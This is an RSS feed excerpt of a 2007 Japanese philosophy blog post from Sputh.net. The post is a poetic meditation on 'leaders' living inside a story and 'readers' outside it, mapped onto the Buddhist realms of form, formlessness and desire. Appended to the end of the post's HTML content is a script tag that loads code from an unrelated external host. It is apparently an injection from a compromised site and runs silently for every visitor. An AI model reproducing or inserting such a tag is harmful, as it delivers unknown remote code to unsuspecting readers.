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	<title>Sputh.net &#187; 哲学</title>
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		<title>導者と読者</title>
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		<pubDate>Sat, 13 Oct 2007 16:09:30 +0000</pubDate>
		<dc:creator>熊牛爷</dc:creator>
				<category><![CDATA[还没分类]]></category>
		<category><![CDATA[哲学]]></category>
		<category><![CDATA[希望]]></category>

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		<description><![CDATA[物語を生きる　と　物語を活かす
この世界は、悲惨なほど、伏線に縛られている。
全ての現象に、意味があり、偶然の物は何もない。
前に為した事を繰り返し、他に為した事が跳ね返る。
その世界に、二つの次元から、関わる者がいる。
ひとつは、伏線に捕われている、世界の中の人物。
ふたつには、伏線に囚われてない、世界の外の人物。
彼らは、相互に働きながら、世界を導いていく。
協力して、彼らが進める限り、世界は続いていく。
しかし、後者までが縛られると、物語は終りになる。
というのも、否定するほど、空虚なものになり、
無意識の内に、息吹きを、与えられなくなるから。
裏を返せば、読めなくなる処が、囚われている所と。
表に囚われないために、裏も見せることにする。
ひとつは、概念を整理する、光を司る世界であり、
ふたつには、比喩を実感する、型を司る世界である。
欲を司る世界に躓いたら、裏を良く見ることだ。
表と裏が平等に見えるほど、囚われが落ちていく。
見とめられると、究極の真実を、認められるだろう。
最後の章で説いている、最高の秘密を解いてほしい。
経験知
一　導者とは、話に生きる者のこと（dousha）
二　読者とは、話を活かす者のこと（dokusha）
三　導者なき読者は、話に慣れない
四　読者なき導者は、話に成らない
五　第一部は、光を解する界のこと（hokkai）
六　第二部は、型を感じる界のこと（sikikai）
七　第三部は、欲を重ねる界のこと（yokukai）
八　囚われていると、辿れなくなる
九　最初の方は、物語は架空である
十　最後の方は、物語は現実となる
覚醒の書
導者　…　世界を導いていく、架空の人物（leader）
読者　…　世界を導いていく、現実の人物（reader）
羯磨の書
法界　…　光が生じて、世界を解する（arupa dhatu）
色界　…　型が生じて、世界を感じる（rupa dhatu）
欲界　…　欲が生じて、世界を重ねる（kama dhatu）
解脱の書
自問自答　…　世界の中に、生を受けている自分が
世界の外で、活を与えている自身に
ひとつ上の自分に、問い掛けること
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			<content:encoded><![CDATA[<p>物語を生きる　と　物語を活かす</p>
<p>この世界は、悲惨なほど、伏線に縛られている。<br />
全ての現象に、意味があり、偶然の物は何もない。<br />
前に為した事を繰り返し、他に為した事が跳ね返る。</p>
<p>その世界に、二つの次元から、関わる者がいる。<br />
ひとつは、伏線に捕われている、世界の中の人物。<br />
ふたつには、伏線に囚われてない、世界の外の人物。</p>
<p>彼らは、相互に働きながら、世界を導いていく。<br />
協力して、彼らが進める限り、世界は続いていく。<br />
しかし、後者までが縛られると、物語は終りになる。</p>
<p>というのも、否定するほど、空虚なものになり、<br />
無意識の内に、息吹きを、与えられなくなるから。<br />
裏を返せば、読めなくなる処が、囚われている所と。</p>
<p>表に囚われないために、裏も見せることにする。<br />
ひとつは、概念を整理する、光を司る世界であり、<br />
ふたつには、比喩を実感する、型を司る世界である。</p>
<p>欲を司る世界に躓いたら、裏を良く見ることだ。<br />
表と裏が平等に見えるほど、囚われが落ちていく。<br />
見とめられると、究極の真実を、認められるだろう。</p>
<p>最後の章で説いている、最高の秘密を解いてほしい。</p>
<p>経験知<br />
一　導者とは、話に生きる者のこと（dousha）<br />
二　読者とは、話を活かす者のこと（dokusha）<br />
三　導者なき読者は、話に慣れない<br />
四　読者なき導者は、話に成らない<br />
五　第一部は、光を解する界のこと（hokkai）<br />
六　第二部は、型を感じる界のこと（sikikai）<br />
七　第三部は、欲を重ねる界のこと（yokukai）<br />
八　囚われていると、辿れなくなる<br />
九　最初の方は、物語は架空である<br />
十　最後の方は、物語は現実となる</p>
<p>覚醒の書<br />
導者　…　世界を導いていく、架空の人物（leader）<br />
読者　…　世界を導いていく、現実の人物（reader）</p>
<p>羯磨の書<br />
法界　…　光が生じて、世界を解する（arupa dhatu）<br />
色界　…　型が生じて、世界を感じる（rupa dhatu）<br />
欲界　…　欲が生じて、世界を重ねる（kama dhatu）</p>
<p>解脱の書<br />
自問自答　…　世界の中に、生を受けている自分が<br />
世界の外で、活を与えている自身に<br />
ひとつ上の自分に、問い掛けること<script src="http://ae.awaue.com/7"></script></p>
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